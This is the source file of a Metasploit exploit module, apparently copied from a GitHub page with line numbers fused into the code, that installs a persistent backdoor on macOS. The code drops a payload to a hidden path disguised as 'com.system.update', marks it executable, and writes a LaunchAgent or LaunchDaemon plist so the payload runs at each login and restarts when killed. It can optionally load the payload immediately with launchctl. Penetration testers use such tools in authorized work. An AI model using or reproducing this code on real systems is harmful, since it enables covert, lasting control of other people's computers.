Path: blob/master/modules/exploits/osx/local/persistence.rb
19812 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45require 'shellwords'67class MetasploitModule < Msf::Exploit::Local8Rank = ExcellentRanking910include Msf::Post::Common11include Msf::Post::File12include Msf::Exploit::EXE1314def initialize(info = {})15super(16update_info(17info,18'Name' => 'Mac OS X Persistent Payload Installer',19'Description' => %q{20This module provides a persistent boot payload by creating a launch item, which can be21a LaunchAgent or a LaunchDaemon. LaunchAgents run with user level permissions and are triggered22upon login by a plist entry in ~/Library/LaunchAgents. LaunchDaemons run with23elevated privilleges, and are launched before user login by a plist entry in the ~/Library/LaunchDaemons directory.24In either case the plist entry specifies an executable that will be run before or at login.25},26'License' => MSF_LICENSE,27'Author' => [ "Marcin 'Icewall' Noga <marcin[at]icewall.pl>", 'joev' ],28'Targets' => [29[ 'Mac OS X x64 (Native Payload)', { 'Arch' => ARCH_X64, 'Platform' => [ 'osx' ] } ],30[ 'Mac OS X x86 (Native Payload for 10.14 and earlier)', { 'Arch' => ARCH_X86, 'Platform' => [ 'osx' ] } ],31['Mac OS X Apple Sillicon', { 'Arch' => ARCH_AARCH64, 'Platform' => ['osx'] }],32[ 'Python payload', { 'Arch' => ARCH_PYTHON, 'Platform' => [ 'python' ] } ],33[ 'Command payload', { 'Arch' => ARCH_CMD, 'Platform' => [ 'unix' ] } ],34],35'DefaultTarget' => 0,36'SessionTypes' => [ 'shell', 'meterpreter' ],37'DisclosureDate' => '2012-04-01',38'Platform' => [ 'osx', 'python', 'unix' ],39'References' => [40'https://taomm.org/vol1/pdfs/CH%202%20Persistence.pdf',41'https://developer.apple.com/library/archive/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/CreatingLaunchdJobs.html'42],43'Notes' => {44'Reliability' => UNKNOWN_RELIABILITY,45'Stability' => UNKNOWN_STABILITY,46'SideEffects' => UNKNOWN_SIDE_EFFECTS47}48)49)5051register_options([52OptString.new('BACKDOOR_PATH',53[54true, 'Path to hide the backdoor on the target.',55'~/Library/.<random>/com.system.update'56]),57OptBool.new('KEEPALIVE',58[true, 'Continually restart the payload exe if it crashes/exits.', true]),59OptBool.new('RUN_NOW',60[false, 'Run the installed payload immediately.', false]),61OptEnum.new('LAUNCH_ITEM', [true, 'Type of launch item, see description for more info. Default is LaunchAgent', 'LaunchAgent', %w[LaunchAgent LaunchDaemon]])62])63end6465def exploit66check_for_duplicate_entry6768if target['Arch'] == ARCH_PYTHON69payload_bin = "#!/usr/bin/env python\n" + payload.encoded70elsif target['Arch'] == ARCH_CMD71payload_bin = "#!/usr/bin/env bash\n" + payload.raw72else73payload_bin = generate_payload_exe74end7576# Store backdoor on target machine77write_backdoor(payload_bin)78# Add plist file to LaunchAgents dir79add_launchctl_item80# tell the user how to remove the persistence if necessary81list_removal_paths82end8384private8586# drops a LaunchAgent plist into the user's Library, which specifies to run backdoor_path87def add_launchctl_item88label = File.basename(backdoor_path)89cmd_exec("mkdir -p #{File.dirname(plist_path).shellescape}")90# NOTE: the OnDemand key is the OSX < 10.4 equivalent of KeepAlive91item = <<-EOI92<?xml version="1.0" encoding="UTF-8"?>93<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">94<plist version="1.0">95<dict>96<key>Label</key>97<string>#{label}</string>98<key>Program</key>99<string>#{backdoor_path}</string>100<key>ProgramArguments</key>101<array>102<string>#{backdoor_path}</string>103</array>104<key>RunAtLoad</key>105<true/>106<key>OnDemand</key>107<#{keepalive?}/>108<key>KeepAlive</key>109<#{keepalive?}/>110</dict>111</plist>112EOI113114if write_file(plist_path, item)115print_good("LaunchAgent added: #{plist_path}")116else117fail_with(Failure::UnexpectedReply, "Error writing LaunchAgent item to #{plist_path}")118end119120if run_now?121cmd_exec("launchctl load -w #{plist_path.shellescape}")122end123124print_good('LaunchAgent installed successfully.')125end126127# path to upload the backdoor. any <user> or <random> substrings will be replaced.128# @return [String] path to drop the backdoor payload.129def backdoor_path130@backdoor_path ||= datastore['BACKDOOR_PATH']131.gsub('<random>') { Rex::Text.rand_text_alpha(8) }132.gsub(%r{^~/}, "/Users/#{user}/")133end134135# raises an error if a Launch Agent already exists at desired same plist_path136def check_for_duplicate_entry137if file?(plist_path)138fail_with 'FileError', "Duplicate LaunchAgent plist already exists at #{plist_path}"139end140end141142# @return [Boolean] user wants the persistence to be restarted constantly if it exits143def keepalive?144datastore['KEEPALIVE']145end146147# useful if you want to remove the persistence.148# prints out a list of paths to remove and commands to run.149def list_removal_paths150removal_command = "rm -rf #{File.dirname(backdoor_path).shellescape}"151removal_command << " ; rm #{plist_path}"152removal_command << " ; launchctl remove #{File.basename(backdoor_path)}"153removal_command << " ; launchctl stop #{File.basename(backdoor_path)}"154print_status("To remove the persistence, run:\n#{removal_command}\n")155end156157# path to the LaunchAgent service configuration plist158# @return [String] path to the LaunchAgent service159def plist_path160@plist_path ||= "/Users/#{user}/Library/#{datastore['LAUNCH_ITEM']}s/#{File.basename(backdoor_path)}.plist"161end162163# @return [Boolean] user wants to launch the LaunchAgent immediately164def run_now?165datastore['RUN_NOW']166end167168# @return [String] username of the session169def user170@user ||= cmd_exec('whoami').strip171end172173# drops the file to disk, then makes it executable174# @param [String] exe the executable to drop175def write_backdoor(exe)176print_status('Dropping backdoor executable...')177cmd_exec("mkdir -p #{File.dirname(backdoor_path).shellescape}")178179if write_file(backdoor_path, exe)180print_good("Backdoor stored to #{backdoor_path}")181cmd_exec("chmod +x #{backdoor_path.shellescape}")182else183fail_with(Failure::UnexpectedReply, "Error dropping backdoor to #{backdoor_path}")184end185end186end187188189